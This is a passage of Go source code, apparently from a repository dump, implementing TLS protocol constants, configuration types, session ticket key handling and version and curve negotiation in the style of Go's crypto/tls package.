cipherSuiteByID(id)\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc cipherSuiteByID(id uint16) *cipherSuite {\n\tfor _, cipherSuite := range cipherSuites {\n\t\tif cipherSuite.id == id {\n\t\t\treturn cipherSuite\n\t\t}\n\t}\n\treturn nil\n}\n\n// A list of cipher suite IDs that are, or have been, implemented by this\n// package.\n//\n// See https://www.iana.org/assignments/tls-parameters/tls-parameters.xml\nconst (\n\t// TLS 1.0 - 1.2 cipher suites.\n\tTLS_RSA_WITH_RC4_128_SHA                      uint16 = 0x0005\n\tTLS_RSA_WITH_3DES_EDE_CBC_SHA                 uint16 = 0x000a\n\tTLS_RSA_WITH_AES_128_CBC_SHA                  uint16 = 0x002f\n\tTLS_RSA_WITH_AES_256_CBC_SHA                  uint16 = 0x0035\n\tTLS_RSA_WITH_AES_128_CBC_SHA256               uint16 = 0x003c\n\tTLS_RSA_WITH_AES_128_GCM_SHA256               uint16 = 0x009c\n\tTLS_RSA_WITH_AES_256_GCM_SHA384               uint16 = 0x009d\n\tTLS_ECDHE_ECDSA_WITH_RC4_128_SHA              uint16 = 0xc007\n\tTLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA          uint16 = 0xc009\n\tTLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA          uint16 = 0xc00a\n\tTLS_ECDHE_RSA_WITH_RC4_128_SHA                uint16 = 0xc011\n\tTLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA           uint16 = 0xc012\n\tTLS_ECDHE_RSA_WITH_AES_128_CBC_SHA            uint16 = 0xc013\n\tTLS_ECDHE_RSA_WITH_AES_256_CBC_SHA            uint16 = 0xc014\n\tTLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256       uint16 = 0xc023\n\tTLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256         uint16 = 0xc027\n\tTLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256         uint16 = 0xc02f\n\tTLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256       uint16 = 0xc02b\n\tTLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384         uint16 = 0xc030\n\tTLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384       uint16 = 0xc02c\n\tTLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256   uint16 = 0xcca8\n\tTLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 uint16 = 0xcca9\n\n\t// Legacy names for the corresponding cipher suites with the correct _SHA256\n\t// suffix, retained for backward compatibility.\n\tTLS_ECDHE_RSA_WITH_CHACHA20_POLY1305   = TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256\n\tTLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305 = TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256\n)\n"
  },
  {
    "path": "tls/common.go",
    "content": "// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage tls\n\nimport (\n\t\"bytes\"\n\t\"crypto\"\n\t\"crypto/rand\"\n\t\"crypto/sha512\"\n\t\"crypto/x509\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"math/big\"\n\t\"net\"\n\t\"sync\"\n\t\"time\"\n)\n\nconst (\n\tVersionTLS10 = 0x0301\n\tVersionTLS11 = 0x0302\n\tVersionTLS12 = 0x0303\n)\n\nconst (\n\tmaxPlaintext      = 16384 // maximum plaintext payload length\n\trecordHeaderLen   = 5     // record header length\n\tmaxHandshake      = 65536 // maximum handshake we support (protocol max is 16 MB)\n\tmaxUselessRecords = 16    // maximum number of consecutive non-advancing records\n)\n\n// TLS record types.\ntype recordType uint8\n\nconst (\n\trecordTypeChangeCipherSpec recordType = 20\n\trecordTypeAlert            recordType = 21\n\trecordTypeHandshake        recordType = 22\n\trecordTypeApplicationData  recordType = 23\n)\n\n// TLS handshake message types.\nconst (\n\ttypeHelloRequest        uint8 = 0\n\ttypeClientHello         uint8 = 1\n\ttypeServerHello         uint8 = 2\n\ttypeNewSessionTicket    uint8 = 4\n\ttypeEndOfEarlyData      uint8 = 5\n\ttypeEncryptedExtensions uint8 = 8\n\ttypeCertificate         uint8 = 11\n\ttypeServerKeyExchange   uint8 = 12\n\ttypeCertificateRequest  uint8 = 13\n\ttypeServerHelloDone     uint8 = 14\n\ttypeCertificateVerify   uint8 = 15\n\ttypeClientKeyExchange   uint8 = 16\n\ttypeFinished            uint8 = 20\n\ttypeCertificateStatus   uint8 = 22\n\ttypeKeyUpdate           uint8 = 24\n)\n\n// TLS compression types.\nconst (\n\tcompressionNone uint8 = 0\n)\n\n// TLS extension numbers\nconst (\n\textensionServerName              uint16 = 0\n\textensionStatusRequest           uint16 = 5\n\textensionSupportedCurves         uint16 = 10 // supported_groups in TLS 1.3, see RFC 8446, Section 4.2.7\n\textensionSupportedPoints         uint16 = 11\n\textensionSignatureAlgorithms     uint16 = 13\n\textensionALPN                    uint16 = 16\n\textensionSCT                     uint16 = 18\n\textensionSessionTicket           uint16 = 35\n\textensionPreSharedKey            uint16 = 41\n\textensionEarlyData               uint16 = 42\n\textensionSupportedVersions       uint16 = 43\n\textensionCookie                  uint16 = 44\n\textensionPSKModes                uint16 = 45\n\textensionCertificateAuthorities  uint16 = 47\n\textensionSignatureAlgorithmsCert uint16 = 50\n\textensionKeyShare                uint16 = 51\n\textensionRenegotiationInfo       uint16 = 0xff01\n)\n\n// TLS signaling cipher suite values\nconst (\n\tscsvRenegotiation uint16 = 0x00ff\n)\n\n// CurveID is the type of a TLS identifier for an elliptic curve. See\n// https://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-8.\n//\n// In TLS 1.3, this type is called NamedGroup, but at this time this library\n// only supports Elliptic Curve based groups. See RFC 8446, Section 4.2.7.\ntype CurveID uint16\n\nconst (\n\tCurveP256 CurveID = 23\n\tCurveP384 CurveID = 24\n\tCurveP521 CurveID = 25\n\tX25519    CurveID = 29\n)\n\n// TLS 1.3 Key Share. See RFC 8446, Section 4.2.8.\ntype keyShare struct {\n\tgroup CurveID\n\tdata  []byte\n}\n\n// TLS Elliptic Curve Point Formats\n// https://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-9\nconst (\n\tpointFormatUncompressed uint8 = 0\n)\n\n// TLS CertificateStatusType (RFC 3546)\nconst (\n\tstatusTypeOCSP uint8 = 1\n)\n\n// Certificate types (for certificateRequestMsg)\nconst (\n\tcertTypeRSASign   = 1\n\tcertTypeECDSASign = 64 // ECDSA or EdDSA keys, see RFC 8422, Section 3.\n)\n\n// Signature algorithms (for internal signaling use). Starting at 225 to avoid overlap with\n// TLS 1.2 codepoints (RFC 5246, Appendix A.4.1), with which these have nothing to do.\nconst (\n\tsignaturePKCS1v15 uint8 = iota + 225\n\tsignatureRSAPSS\n\tsignatureECDSA\n\tsignatureEd25519\n)\n\n// directSigning is a standard Hash value that signals that no pre-hashing\n// should be performed, and that the input should be signed directly. It is the\n// hash function associated with the Ed25519 signature scheme.\nvar directSigning crypto.Hash = 0\n\n// supportedSignatureAlgorithms contains the signature and hash algorithms that\n// the code advertises as supported in a TLS 1.2+ ClientHello and in a TLS 1.2+\n// CertificateRequest. The two fields are merged to match with TLS 1.3.\n// Note that in TLS 1.2, the ECDSA algorithms are not constrained to P-256, etc.\nvar supportedSignatureAlgorithms = []SignatureScheme{\n\tPSSWithSHA256,\n\tECDSAWithP256AndSHA256,\n\tEd25519,\n\tPSSWithSHA384,\n\tPSSWithSHA512,\n\tPKCS1WithSHA256,\n\tPKCS1WithSHA384,\n\tPKCS1WithSHA512,\n\tECDSAWithP384AndSHA384,\n\tECDSAWithP521AndSHA512,\n\tPKCS1WithSHA1,\n\tECDSAWithSHA1,\n}\n\n// ConnectionState records basic TLS details about the connection.\ntype ConnectionState struct {\n\tVersion                     uint16                // TLS version used by the connection (e.g. VersionTLS12)\n\tHandshakeComplete           bool                  // TLS handshake is complete\n\tDidResume                   bool                  // connection resumes a previous TLS connection\n\tCipherSuite                 uint16                // cipher suite in use (TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, ...)\n\tNegotiatedProtocol          string                // negotiated next protocol (not guaranteed to be from Config.NextProtos)\n\tNegotiatedProtocolIsMutual  bool                  // negotiated protocol was advertised by server (client side only)\n\tServerName                  string                // server name requested by client, if any (server side only)\n\tPeerCertificates            []*x509.Certificate   // certificate chain presented by remote peer\n\tVerifiedChains              [][]*x509.Certificate // verified chains built from PeerCertificates\n\tSignedCertificateTimestamps [][]byte              // SCTs from the peer, if any\n\tOCSPResponse                []byte                // stapled OCSP response from peer, if any\n\n\t// ekm is a closure exposed via ExportKeyingMaterial.\n\tekm func(label string, context []byte, length int) ([]byte, error)\n\n\t// TLSUnique contains the \"tls-unique\" channel binding value (see RFC\n\t// 5929, section 3). For resumed sessions this value will be nil\n\t// because resumption does not include enough context (see\n\t// https://mitls.org/pages/attacks/3SHAKE#channelbindings). This will\n\t// change in future versions of Go once the TLS master-secret fix has\n\t// been standardized and implemented. It is not defined in TLS 1.3.\n\tTLSUnique []byte\n}\n\n// ExportKeyingMaterial returns length bytes of exported key material in a new\n// slice as defined in RFC 5705. If context is nil, it is not used as part of\n// the seed. If the connection was set to allow renegotiation via\n// Config.Renegotiation, this function will return an error.\nfunc (cs *ConnectionState) ExportKeyingMaterial(label string, context []byte, length int) ([]byte, error) {\n\treturn cs.ekm(label, context, length)\n}\n\n// ClientSessionState contains the state needed by clients to resume TLS\n// sessions.\ntype ClientSessionState struct {\n\tsessionTicket      []uint8               // Encrypted ticket used for session resumption with server\n\tvers               uint16                // TLS version negotiated for the session\n\tcipherSuite        uint16                // Ciphersuite negotiated for the session\n\tmasterSecret       []byte                // Full handshake MasterSecret, or TLS 1.3 resumption_master_secret\n\tserverCertificates []*x509.Certificate   // Certificate chain presented by the server\n\tverifiedChains     [][]*x509.Certificate // Certificate chains we built for verification\n\treceivedAt         time.Time             // When the session ticket was received from the server\n\n\t// TLS 1.3 fields.\n\tnonce  []byte    // Ticket nonce sent by the server, to derive PSK\n\tuseBy  time.Time // Expiration of the ticket lifetime as set by the server\n\tageAdd uint32    // Random obfuscation factor for sending the ticket age\n}\n\n// ClientSessionCache is a cache of ClientSessionState objects that can be used\n// by a client to resume a TLS session with a given server. ClientSessionCache\n// implementations should expect to be called concurrently from different\n// goroutines. Up to TLS 1.2, only ticket-based resumption is supported, not\n// SessionID-based resumption. In TLS 1.3 they were merged into PSK modes, which\n// are supported via this interface.\ntype ClientSessionCache interface {\n\t// Get searches for a ClientSessionState associated with the given key.\n\t// On return, ok is true if one was found.\n\tGet(sessionKey string) (session *ClientSessionState, ok bool)\n\n\t// Put adds the ClientSessionState to the cache with the given key. It might\n\t// get called multiple times in a connection if a TLS 1.3 server provides\n\t// more than one session ticket. If called with a nil *ClientSessionState,\n\t// it should remove the cache entry.\n\tPut(sessionKey string, cs *ClientSessionState)\n}\n\n// SignatureScheme identifies a signature algorithm supported by TLS. See\n// RFC 8446, Section 4.2.3.\ntype SignatureScheme uint16\n\nconst (\n\t// RSASSA-PKCS1-v1_5 algorithms.\n\tPKCS1WithSHA256 SignatureScheme = 0x0401\n\tPKCS1WithSHA384 SignatureScheme = 0x0501\n\tPKCS1WithSHA512 SignatureScheme = 0x0601\n\n\t// RSASSA-PSS algorithms with public key OID rsaEncryption.\n\tPSSWithSHA256 SignatureScheme = 0x0804\n\tPSSWithSHA384 SignatureScheme = 0x0805\n\tPSSWithSHA512 SignatureScheme = 0x0806\n\n\t// ECDSA algorithms. Only constrained to a specific curve in TLS 1.3.\n\tECDSAWithP256AndSHA256 SignatureScheme = 0x0403\n\tECDSAWithP384AndSHA384 SignatureScheme = 0x0503\n\tECDSAWithP521AndSHA512 SignatureScheme = 0x0603\n\n\t// EdDSA algorithms.\n\tEd25519 SignatureScheme = 0x0807\n\n\t// Legacy signature and hash algorithms for TLS 1.2.\n\tPKCS1WithSHA1 SignatureScheme = 0x0201\n\tECDSAWithSHA1 SignatureScheme = 0x0203\n)\n\n// ClientHelloInfo contains information from a ClientHello message in order to\n// guide application logic in the GetCertificate and GetConfigForClient callbacks.\ntype ClientHelloInfo struct {\n\t// CipherSuites lists the CipherSuites supported by the client (e.g.\n\t// TLS_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256).\n\tCipherSuites []uint16\n\n\t// ServerName indicates the name of the server requested by the client\n\t// in order to support virtual hosting. ServerName is only set if the\n\t// client is using SNI (see RFC 4366, Section 3.1).\n\tServerName string\n\n\t// SupportedCurves lists the elliptic curves supported by the client.\n\t// SupportedCurves is set only if the Supported Elliptic Curves\n\t// Extension is being used (see RFC 4492, Section 5.1.1).\n\tSupportedCurves []CurveID\n\n\t// SupportedPoints lists the point formats supported by the client.\n\t// SupportedPoints is set only if the Supported Point Formats Extension\n\t// is being used (see RFC 4492, Section 5.1.2).\n\tSupportedPoints []uint8\n\n\t// SignatureSchemes lists the signature and hash schemes that the client\n\t// is willing to verify. SignatureSchemes is set only if the Signature\n\t// Algorithms Extension is being used (see RFC 5246, Section 7.4.1.4.1).\n\tSignatureSchemes []SignatureScheme\n\n\t// SupportedProtos lists the application protocols supported by the client.\n\t// SupportedProtos is set only if the Application-Layer Protocol\n\t// Negotiation Extension is being used (see RFC 7301, Section 3.1).\n\t//\n\t// Servers can select a protocol by setting Config.NextProtos in a\n\t// GetConfigForClient return value.\n\tSupportedProtos []string\n\n\t// SupportedVersions lists the TLS versions supported by the client.\n\t// For TLS versions less than 1.3, this is extrapolated from the max\n\t// version advertised by the client, so values other than the greatest\n\t// might be rejected if used.\n\tSupportedVersions []uint16\n\n\t// Conn is the underlying net.Conn for the connection. Do not read\n\t// from, or write to, this connection; that will cause the TLS\n\t// connection to fail.\n\tConn net.Conn\n\n\t// config is embedded by the GetCertificate or GetConfigForClient caller,\n\t// for use with SupportsCertificate.\n\tconfig *Config\n}\n\n// CertificateRequestInfo contains information from a server's\n// CertificateRequest message, which is used to demand a certificate and proof\n// of control from a client.\ntype CertificateRequestInfo struct {\n\t// AcceptableCAs contains zero or more, DER-encoded, X.501\n\t// Distinguished Names. These are the names of root or intermediate CAs\n\t// that the server wishes the returned certificate to be signed by. An\n\t// empty slice indicates that the server has no preference.\n\tAcceptableCAs [][]byte\n\n\t// SignatureSchemes lists the signature schemes that the server is\n\t// willing to verify.\n\tSignatureSchemes []SignatureScheme\n\n\t// Version is the TLS version that was negotiated for this connection.\n\tVersion uint16\n}\n\n// RenegotiationSupport enumerates the different levels of support for TLS\n// renegotiation. TLS renegotiation is the act of performing subsequent\n// handshakes on a connection after the first. This significantly complicates\n// the state machine and has been the source of numerous, subtle security\n// issues. Initiating a renegotiation is not supported, but support for\n// accepting renegotiation requests may be enabled.\n//\n// Even when enabled, the server may not change its identity between handshakes\n// (i.e. the leaf certificate must be the same). Additionally, concurrent\n// handshake and application data flow is not permitted so renegotiation can\n// only be used with protocols that synchronise with the renegotiation, such as\n// HTTPS.\n//\n// Renegotiation is not defined in TLS 1.3.\ntype RenegotiationSupport int\n\nconst (\n\t// RenegotiateNever disables renegotiation.\n\tRenegotiateNever RenegotiationSupport = iota\n\n\t// RenegotiateOnceAsClient allows a remote server to request\n\t// renegotiation once per connection.\n\tRenegotiateOnceAsClient\n\n\t// RenegotiateFreelyAsClient allows a remote server to repeatedly\n\t// request renegotiation.\n\tRenegotiateFreelyAsClient\n)\n\n// A Config structure is used to configure a TLS client or server.\n// After one has been passed to a TLS function it must not be\n// modified. A Config may be reused; the tls package will also not\n// modify it.\ntype Config struct {\n\t// Rand provides the source of entropy for nonces and RSA blinding.\n\t// If Rand is nil, TLS uses the cryptographic random reader in package\n\t// crypto/rand.\n\t// The Reader must be safe for use by multiple goroutines.\n\tRand io.Reader\n\n\t// Time returns the current time as the number of seconds since the epoch.\n\t// If Time is nil, TLS uses time.Now.\n\tTime func() time.Time\n\n\t// Certificates contains one or more certificate chains to present to the\n\t// other side of the connection. The first certificate compatible with the\n\t// peer's requirements is selected automatically.\n\t//\n\t// Server configurations must set one of Certificates, GetCertificate or\n\t// GetConfigForClient. Clients doing client-authentication may set either\n\t// Certificates or GetClientCertificate.\n\t//\n\t// Note: if there are multiple Certificates, and they don't have the\n\t// optional field Leaf set, certificate selection will incur a significant\n\t// per-handshake performance cost.\n\tCertificates []Certificate\n\n\t// GetCertificate returns a Certificate based on the given\n\t// ClientHelloInfo. It will only be called if the client supplies SNI\n\t// information or if Certificates is empty.\n\t//\n\t// If GetCertificate is nil or returns nil, then the certificate is\n\t// retrieved from NameToCertificate. If NameToCertificate is nil, the\n\t// best element of Certificates will be used.\n\tGetCertificate func(*ClientHelloInfo) (*Certificate, error)\n\n\t// GetClientCertificate, if not nil, is called when a server requests a\n\t// certificate from a client. If set, the contents of Certificates will\n\t// be ignored.\n\t//\n\t// If GetClientCertificate returns an error, the handshake will be\n\t// aborted and that error will be returned. Otherwise\n\t// GetClientCertificate must return a non-nil Certificate. If\n\t// Certificate.Certificate is empty then no certificate will be sent to\n\t// the server. If this is unacceptable to the server then it may abort\n\t// the handshake.\n\t//\n\t// GetClientCertificate may be called multiple times for the same\n\t// connection if renegotiation occurs or if TLS 1.3 is in use.\n\tGetClientCertificate func(*CertificateRequestInfo) (*Certificate, error)\n\n\t// GetConfigForClient, if not nil, is called after a ClientHello is\n\t// received from a client. It may return a non-nil Config in order to\n\t// change the Config that will be used to handle this connection. If\n\t// the returned Config is nil, the original Config will be used. The\n\t// Config returned by this callback may not be subsequently modified.\n\t//\n\t// If GetConfigForClient is nil, the Config passed to Server() will be\n\t// used for all connections.\n\t//\n\t// Uniquely for the fields in the returned Config, session ticket keys\n\t// will be duplicated from the original Config if not set.\n\t// Specifically, if SetSessionTicketKeys was called on the original\n\t// config but not on the returned config then the ticket keys from the\n\t// original config will be copied into the new config before use.\n\t// Otherwise, if SessionTicketKey was set in the original config but\n\t// not in the returned config then it will be copied into the returned\n\t// config before use. If neither of those cases applies then the key\n\t// material from the returned config will be used for session tickets.\n\tGetConfigForClient func(*ClientHelloInfo) (*Config, error)\n\n\t// RootCAs defines the set of root certificate authorities\n\t// that clients use when verifying server certificates.\n\t// If RootCAs is nil, TLS uses the host's root CA set.\n\tRootCAs *x509.CertPool\n\n\t// NextProtos is a list of supported application level protocols, in\n\t// order of preference.\n\tNextProtos []string\n\n\t// ServerName is used to verify the hostname on the returned\n\t// certificates unless InsecureSkipVerify is given. It is also included\n\t// in the client's handshake to support virtual hosting unless it is\n\t// an IP address.\n\tServerName string\n\n\t// ClientCAs defines the set of root certificate authorities\n\t// that servers use if required to verify a client certificate\n\t// by the policy in ClientAuth.\n\tClientCAs *x509.CertPool\n\n\t// InsecureSkipVerify controls whether a client verifies the\n\t// server's certificate chain and host name.\n\t// If InsecureSkipVerify is true, TLS accepts any certificate\n\t// presented by the server and any host name in that certificate.\n\t// In this mode, TLS is susceptible to man-in-the-middle attacks.\n\t// This should be used only for testing.\n\tInsecureSkipVerify bool\n\n\t// CipherSuites is a list of supported cipher suites for TLS versions up to\n\t// TLS 1.2. If CipherSuites is nil, a default list of secure cipher suites\n\t// is used, with a preference order based on hardware performance. The\n\t// default cipher suites might change over Go versions. Note that TLS 1.3\n\t// ciphersuites are not configurable.\n\tCipherSuites []uint16\n\n\t// PreferServerCipherSuites controls whether the server selects the\n\t// client's most preferred ciphersuite, or the server's most preferred\n\t// ciphersuite. If true then the server's preference, as expressed in\n\t// the order of elements in CipherSuites, is used.\n\tPreferServerCipherSuites bool\n\n\t// SessionTicketsDisabled may be set to true to disable session ticket and\n\t// PSK (resumption) support. Note that on clients, session ticket support is\n\t// also disabled if ClientSessionCache is nil.\n\tSessionTicketsDisabled bool\n\n\t// SessionTicketKey is used by TLS servers to provide session resumption.\n\t// See RFC 5077 and the PSK mode of RFC 8446. If zero, it will be filled\n\t// with random data before the first server handshake.\n\t//\n\t// If multiple servers are terminating connections for the same host\n\t// they should all have the same SessionTicketKey. If the\n\t// SessionTicketKey leaks, previously recorded and future TLS\n\t// connections using that key might be compromised.\n\tSessionTicketKey [32]byte\n\n\t// ClientSessionCache is a cache of ClientSessionState entries for TLS\n\t// session resumption. It is only used by clients.\n\tClientSessionCache ClientSessionCache\n\n\t// MinVersion contains the minimum TLS version that is acceptable.\n\t// If zero, TLS 1.0 is currently taken as the minimum.\n\tMinVersion uint16\n\n\t// MaxVersion contains the maximum TLS version that is acceptable.\n\t// If zero, the maximum version supported by this package is used,\n\t// which is currently TLS 1.3.\n\tMaxVersion uint16\n\n\t// CurvePreferences contains the elliptic curves that will be used in\n\t// an ECDHE handshake, in preference order. If empty, the default will\n\t// be used. The client will use the first preference as the type for\n\t// its key share in TLS 1.3. This may change in the future.\n\tCurvePreferences []CurveID\n\n\t// DynamicRecordSizingDisabled disables adaptive sizing of TLS records.\n\t// When true, the largest possible TLS record size is always used. When\n\t// false, the size of TLS records may be adjusted in an attempt to\n\t// improve latency.\n\tDynamicRecordSizingDisabled bool\n\n\t// Renegotiation controls what types of renegotiation are supported.\n\t// The default, none, is correct for the vast majority of applications.\n\tRenegotiation RenegotiationSupport\n\n\t// KeyLogWriter optionally specifies a destination for TLS master secrets\n\t// in NSS key log format that can be used to allow external programs\n\t// such as Wireshark to decrypt TLS connections.\n\t// See https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/Key_Log_Format.\n\t// Use of KeyLogWriter compromises security and should only be\n\t// used for debugging.\n\tKeyLogWriter io.Writer\n\n\tserverInitOnce sync.Once // guards calling (*Config).serverInit\n\n\t// mutex protects sessionTicketKeys.\n\tmutex sync.RWMutex\n\t// sessionTicketKeys contains zero or more ticket keys. If the length\n\t// is zero, SessionTicketsDisabled must be true. The first key is used\n\t// for new tickets and any subsequent keys can be used to decrypt old\n\t// tickets.\n\tsessionTicketKeys []ticketKey\n}\n\n// ticketKeyNameLen is the number of bytes of identifier that is prepended to\n// an encrypted session ticket in order to identify the key used to encrypt it.\nconst ticketKeyNameLen = 16\n\n// ticketKey is the internal representation of a session ticket key.\ntype ticketKey struct {\n\t// keyName is an opaque byte string that serves to identify the session\n\t// ticket key. It's exposed as plaintext in every session ticket.\n\tkeyName [ticketKeyNameLen]byte\n\taesKey  [16]byte\n\thmacKey [16]byte\n}\n\n// ticketKeyFromBytes converts from the external representation of a session\n// ticket key to a ticketKey. Externally, session ticket keys are 32 random\n// bytes and this function expands that into sufficient name and key material.\nfunc ticketKeyFromBytes(b [32]byte) (key ticketKey) {\n\thashed := sha512.Sum512(b[:])\n\tcopy(key.keyName[:], hashed[:ticketKeyNameLen])\n\tcopy(key.aesKey[:], hashed[ticketKeyNameLen:ticketKeyNameLen+16])\n\tcopy(key.hmacKey[:], hashed[ticketKeyNameLen+16:ticketKeyNameLen+32])\n\treturn key\n}\n\n// Clone returns a shallow clone of c. It is safe to clone a Config that is\n// being used concurrently by a TLS client or server.\nfunc (c *Config) Clone() *Config {\n\t// Running serverInit ensures that it's safe to read\n\t// SessionTicketsDisabled.\n\tc.serverInitOnce.Do(func() { c.serverInit(nil) })\n\n\tvar sessionTicketKeys []ticketKey\n\tc.mutex.RLock()\n\tsessionTicketKeys = c.sessionTicketKeys\n\tc.mutex.RUnlock()\n\n\treturn &Config{\n\t\tRand:                        c.Rand,\n\t\tTime:                        c.Time,\n\t\tCertificates:                c.Certificates,\n\t\tGetCertificate:              c.GetCertificate,\n\t\tGetClientCertificate:        c.GetClientCertificate,\n\t\tGetConfigForClient:          c.GetConfigForClient,\n\t\tRootCAs:                     c.RootCAs,\n\t\tNextProtos:                  c.NextProtos,\n\t\tServerName:                  c.ServerName,\n\t\tClientCAs:                   c.ClientCAs,\n\t\tInsecureSkipVerify:          c.InsecureSkipVerify,\n\t\tCipherSuites:                c.CipherSuites,\n\t\tPreferServerCipherSuites:    c.PreferServerCipherSuites,\n\t\tSessionTicketsDisabled:      c.SessionTicketsDisabled,\n\t\tSessionTicketKey:            c.SessionTicketKey,\n\t\tClientSessionCache:          c.ClientSessionCache,\n\t\tMinVersion:                  c.MinVersion,\n\t\tMaxVersion:                  c.MaxVersion,\n\t\tCurvePreferences:            c.CurvePreferences,\n\t\tDynamicRecordSizingDisabled: c.DynamicRecordSizingDisabled,\n\t\tRenegotiation:               c.Renegotiation,\n\t\tKeyLogWriter:                c.KeyLogWriter,\n\t\tsessionTicketKeys:           sessionTicketKeys,\n\t}\n}\n\n// serverInit is run under c.serverInitOnce to do initialization of c. If c was\n// returned by a GetConfigForClient callback then the argument should be the\n// Config that was passed to Server, otherwise it should be nil.\nfunc (c *Config) serverInit(originalConfig *Config) {\n\tif c.SessionTicketsDisabled || len(c.ticketKeys()) != 0 {\n\t\treturn\n\t}\n\n\talreadySet := false\n\tfor _, b := range c.SessionTicketKey {\n\t\tif b != 0 {\n\t\t\talreadySet = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif !alreadySet {\n\t\tif originalConfig != nil {\n\t\t\tcopy(c.SessionTicketKey[:], originalConfig.SessionTicketKey[:])\n\t\t} else if _, err := io.ReadFull(c.rand(), c.SessionTicketKey[:]); err != nil {\n\t\t\tc.SessionTicketsDisabled = true\n\t\t\treturn\n\t\t}\n\t}\n\n\tif originalConfig != nil {\n\t\toriginalConfig.mutex.RLock()\n\t\tc.sessionTicketKeys = originalConfig.sessionTicketKeys\n\t\toriginalConfig.mutex.RUnlock()\n\t} else {\n\t\tc.sessionTicketKeys = []ticketKey{ticketKeyFromBytes(c.SessionTicketKey)}\n\t}\n}\n\nfunc (c *Config) ticketKeys() []ticketKey {\n\tc.mutex.RLock()\n\t// c.sessionTicketKeys is constant once created. SetSessionTicketKeys\n\t// will only update it by replacing it with a new value.\n\tret := c.sessionTicketKeys\n\tc.mutex.RUnlock()\n\treturn ret\n}\n\n// SetSessionTicketKeys updates the session ticket keys for a server. The first\n// key will be used when creating new tickets, while all keys can be used for\n// decrypting tickets. It is safe to call this function while the server is\n// running in order to rotate the session ticket keys. The function will panic\n// if keys is empty.\nfunc (c *Config) SetSessionTicketKeys(keys [][32]byte) {\n\tif len(keys) == 0 {\n\t\tpanic(\"tls: keys must have at least one key\")\n\t}\n\n\tnewKeys := make([]ticketKey, len(keys))\n\tfor i, bytes := range keys {\n\t\tnewKeys[i] = ticketKeyFromBytes(bytes)\n\t}\n\n\tc.mutex.Lock()\n\tc.sessionTicketKeys = newKeys\n\tc.mutex.Unlock()\n}\n\nfunc (c *Config) rand() io.Reader {\n\tr := c.Rand\n\tif r == nil {\n\t\treturn rand.Reader\n\t}\n\treturn r\n}\n\nfunc (c *Config) time() time.Time {\n\tt := c.Time\n\tif t == nil {\n\t\tt = time.Now\n\t}\n\treturn t()\n}\n\nfunc (c *Config) cipherSuites() []uint16 {\n\ts := c.CipherSuites\n\tif s == nil {\n\t\ts = defaultCipherSuites()\n\t}\n\treturn s\n}\n\nvar supportedVersions = []uint16{\n\tVersionTLS12,\n\tVersionTLS11,\n\tVersionTLS10,\n}\n\nfunc (c *Config) supportedVersions() []uint16 {\n\tversions := make([]uint16, 0, len(supportedVersions))\n\tfor _, v := range supportedVersions {\n\t\tif c != nil && c.MinVersion != 0 && v < c.MinVersion {\n\t\t\tcontinue\n\t\t}\n\t\tif c != nil && c.MaxVersion != 0 && v > c.MaxVersion {\n\t\t\tcontinue\n\t\t}\n\t\tversions = append(versions, v)\n\t}\n\treturn versions\n}\n\nfunc (c *Config) maxSupportedVersion() uint16 {\n\tsupportedVersions := c.supportedVersions()\n\tif len(supportedVersions) == 0 {\n\t\treturn 0\n\t}\n\treturn supportedVersions[0]\n}\n\nvar defaultCurvePreferences = []CurveID{X25519, CurveP256, CurveP384, CurveP521}\n\nfunc (c *Config) curvePreferences() []CurveID {\n\tif c == nil || len(c.CurvePreferences) == 0 {\n\t\treturn defaultCurvePreferences\n\t}\n\treturn c.CurvePreferences\n}\n\nfunc (c *Config) supportsCurve(curve CurveID) bool {\n\tfor _, cc := range c.curvePreferences() {\n\t\tif cc == curve {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// mutualVersion returns the protocol version to use given the advertised\n// versions of the peer. Priority is given to the peer preference order.\nfunc (c *Config) mutualVersion(peerVersions []uint16) (uint16, bool) {\n\tsupportedVersions := c.supportedVersions()\n\tfor _, peerVersion := range peerVersions {\n\t\tfor _, v := range supportedVersions {\n\t\t\tif v == peerVersion {\n\t\t\t\treturn v, true\n\t\t\t}\n\t\t}\n\t}\n\treturn 0, false\n}\n\n// SupportsCertificate returns nil if the provided certificate is supported by\n// the server that sent the CertificateRequest. Otherwise, it returns an error\n// describing the reason for the incompatibility.\nfunc (cri *CertificateRequestInfo) SupportsCertificate(c *Certificate) error {\n\tif _, err := selectSignatureScheme(cri.Version, c, cri.SignatureSchemes); err != nil {\n\t\treturn err\n\t}\n\n\tif len(cri.AcceptableCAs) == 0 {\n\t\treturn nil\n\t}\n\n\tfor j, cert := range c.Certificate {\n\t\tx509Cert := c.Leaf\n\t\t// Parse the certificate if this isn't the leaf node, or if\n\t\t// chain.Leaf was nil.\n\t\tif j != 0 || x509Cert == nil {\n\t\t\tvar err error\n\t\t\tif x509Cert, err = x509.ParseCertificate(cert); err != nil {\n\t\t\t\treturn fmt.Errorf(\"failed to parse certificate #%d in the chain: %w\", j, err)\n\t\t\t}\n\t\t}\n\n\t\tfor _, ca := range cri.AcceptableCAs {\n\t\t\tif bytes.Equal(x509Cert.RawIssuer, ca) {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}\n\treturn errors.New(\"chain is not signed by an acceptable CA\")\n}\n\nconst (\n\tkeyLogLabelTLS12 = 